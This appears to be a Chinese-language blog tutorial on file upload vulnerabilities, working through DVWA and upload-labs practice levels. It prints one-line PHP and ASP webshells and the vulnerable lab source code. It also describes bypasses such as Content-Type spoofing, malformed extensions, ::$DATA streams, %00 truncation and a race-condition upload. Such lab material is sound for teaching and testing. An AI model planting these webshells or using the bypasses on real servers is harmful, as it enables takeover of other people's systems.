文件上传漏洞基本原理
文件上传漏洞概述
文件上传是web应用的必备功能之一,比如在社交平台上传我们的个人头像,在招聘网站上传我们的个人简历,又或者是在某个博客平台上传我们自己的文章等等。如果服务器配置不当或者没有进行足够的过滤,导致web用户可以随意上传任意文件。甚至包括恶意脚本文件,这就造成了文件上传漏洞。
Web应用程序在处理用户上传的文件操作时,如果用户上传文件的类型,以及上传文件的路径成为用户可控数据。就会导致用户可以直接上传脚本木马到web服务器上,从而控制web服务器。
文件上传功能本身没有问题,有问题的是文件上传后,服务器怎么处理、解释所上传的文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
文件上传漏洞成因
1、服务器配置不当,导致恶意文件上传。
2、Web服务器没有对所上传的文件进行足够的限制或限制被绕过。
3、使用第三方插件引用。
文件上传漏洞危害
1、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
2、查看、上传、下载对方文件(任意操作对方服务器数据)。
3、查看数据库信息(拖库)等等。
4、上传WebShell,执行命令并控制服务器。
webshell简介
webshell是什么
Webshell就是以asp、php、 jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。拆分开来看,“web”的含义显然是服务器开放的web服务,“shell"的含义是取得对服务器某种程度上操作权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
webshell的作用
一方面,webshell被站长常常用于网站管理、服务器管理等等。根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php木马,也有基于NET的脚本木马与JSP脚本木马。
webshell的特性
1、WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,没有权限删除,还有一些隐藏的webshell,可以隐藏于正常文件带参数运行
脚本后门。
2、webshell可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
webshell大马
大马指木马病毒,它的代码比较大,功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。连接时需要输入密码,密码一般写在木马文件中。
webshell小马
小马就是一句话木马,代码量小,就是一句简单的代码。需要配合中国菜刀或者蚁剑使用。
PHP一句话木马:
<?php eval($_post['cmd']);?>
<?php assert($_post['cmd']);?>
这两句使用菜刀的时候可能会显示连接不上的问题,具体参考:PHP5和PHP7在安全上的区别
ASP一句话木马:
<%eval request("caidao")%>
文件上传漏洞常见过滤方式
没有过滤
没有对上传的文件做任何的过滤,又叫任意文件上传。
以DVWA-LOW为例
登录DVWA靶场,选择低难度的安全系数,进行文件上传漏洞的实践
上传webshell.php文件,我写的php文件内容是:
<?php phpinfo();?>
回显了一个地址,我们粘贴到url中试试
可见正确显示了php的各种信息,说明文件上传成功
此种就是没有对用户上传的文件做任何的检查
前端过滤
在客户端使用JavaScript检测,在文件未上传时,对文件进行验证。
以upload-labs-01为例
提示说在客户端用JS对不合法图片进行检查
首先上传php文件试试看,我此处上传的webshell.php和上面的一样
显示该文件不允许上传。
第一种方法考虑禁用掉JavaScript,F12调出hackbar,F1调出测试台禁用掉JS,再次上传此php文件。
此时查看网页源代码发现:
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
</div>
<div id="img">
<img src="../upload/webshell.php" width="250px" /> </div>
</li>
</ol>
</div>
此句 <img src="../upload/webshell.php" width="250px" />
,回显了访问地址。粘贴到url中发现:
上传shell成功
第二种方法,我们使用burpsuite抓包试试。
上传成功了,我们更改webshell的后缀名为php试试:
发现是可以的,也回显了一个地址,粘贴到url中发现:
发现出现了一堆乱码,这其实因为是我自己上传的图片是不带有php语句的,也就是是一张正常的图片,乱码是图片编解码之后出现的结果。在实际中,攻击者往往会上传带有木马病毒的图片,这样图片即使被编码,图片带有的php语句依然会执行,来达到目的。出现乱码说明我们也是成功上传了shell的。
修改后缀的绕过方式是黑名单中的畸形后缀名绕过,后面也有更具针对型的题目练习。
服务器端过滤
MIME-TYPE验证
文件类型校验就是指HTTP头中的Content-Type,在服务端进行校验。
Content-Type:也叫互联网媒体类型(Internet Media Type)或者MIME类型,在HTTP协议消息头中,它用来表示具体请求中的媒体类型信息。
例如:
text/html代表HTML格式
image/gif代表GIF图片
lmage/png代表GIF图片
application/octet-stream二进制流,不知道文件类型(PHP)
application/json代表JSON类型
绕过方式为修改Content-Type为可以提交的文件格式。可在后面加上文件内容来绕过一些文件内容的检测。
以upload-labs-02为例
查看网页源代码可知,这一关是常见验证中的文件类型验证,也就是验证MIME信息
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
首先上传webshell.php试试,发现:
使用burpsuite抓包:
显示文件类型不正确,试试把Content-Type改成image/gif,(根据上面的源代码,此题image/jepg 、image/png都是可以的)
发现正确回显地址,粘贴到url中:
shell上传成功
黑名单过滤
根据文件后缀名来判断文件是否允许上传,程序会把不允许上传的文件列到一个文本文档里,一旦发现上传的文件在文本文档中就立马制止。
黑名单绕过方式
畸形后缀名
畸形后缀名有:
以upload-labs-03为例
查看源码,发现array数组是一个黑名单,里面存储了不允许上传的文件类型
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
首先上传webshell.php试试,发现php确实是在黑名单里的:
使用burpsuite抓包:
更改后缀名为php5试试:
发现是成功回显地址,但不要高兴太早,php5不一定会解析,粘贴到url中发现:
果然不解析。这边也是挺离谱,我几乎把所有的后缀名的都试了一下,发现都不解析,我也不知道为啥。期待大神解答…
利用Windows特性绕过
大小写绕过
双写绕过
windows空格绕过
windows后缀点绕过
windows文件流绕过:上传shell.php::$DATA
以upload-labs-05为例
查看源码,发现几乎所有的后缀类型都被禁用了,那这题我们尝试用Windows特性绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
前面都是一样的,直接展示抓包过程,这边我已经更改了Content-Type类型还是不行:
不行,我尝试更改后缀名还是不行,尝试利用windows特性:
我试了大小写不行,加空格不行,加 . 不行。我…
看了解析才知道这题还过滤了 . ,那我们双写一次小数点,发现回显地址。这题放第五题我属实是看不懂了,我觉得这题可能要放在后面,因为后面的好像是加个小数点或者加个空格就过了。粘贴回显地址:
白名单过滤
使用白名单限制上传文件类型,通过检测文件内容判断文件类型,限制上传文件只能为一些无危害的文件,包括但不限于: jpg、 png、 bmp. txt、 zip、 rar、 mp3等。
比如:在用户头像处,只允许上传图片类型的文件。那么这里就可以通过以下方式来检测:
1、前端判断
2、文件类型判断
3、后缀名判断
4、文件内容检测
白名单绕过方式
00截断(GET用法)
当是GET接收情况的时候,直接用 %00 就可以了
以upload-labs-12为例
查看源码,array数组中存储了只能上传的三类文件,是典型的白名单问题
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
抓包:
发现跟之前不太一样,表头的save_path表示上传文件的保存路径。首先将文件后缀改成符合条件的,发现:
成功回显地址,但这并不是我们想要的,我们想要上传php文件。此时可以使用%00截断,具体方法是在seva_path的upload文件夹后加上 文件名.php%00
,%00的作用是截断后面的内容,跟注释差不多,这样我们就把后面的文件类型截断了,取而代之的还是php文件,即我们所写的内容
回显地址,访问,上传shell成功
00截断(POST 用法)
当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL解码,也就是URL-decode
以upload-labs-13为例
源码跟上面大同小异,不再展示
抓包,发现:
此时save_path不在表头而在body中,并且接受值变成了post,它与get的差别就是get会自行解码,post不会自行解码,我们需要对%00进行编码,而不能直接添加%00
方法一:
选择空格,按照下图操作
方法二:
找到hex编码,找到上传的文件路径
将20(20是空格的编码)重写成00即可
之后成功回显地址,访问发现成功
条件竞争上传
web服务器处理多用户请求时,是并发进行的,如果并发处理不当或是相关逻辑操作设计的不合理时,就可能导致条件竞争漏洞。
以upload-labs-18为例
查看源码,发现是白名单问题,unlink($upload_file);
会把上传的不是白名单里的类型文件删除掉,这时就可以使用条件竞争上传来绕过
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
我们直接上传php文件后抓包,将数据包发送至intruder下
选择多线程发数据包,总有一次会把数据包传上去
然后发包,用另一个浏览器一直访问webshell.php地址,只要在上传的一瞬间,它还没来的及删除、修改就可以成功访问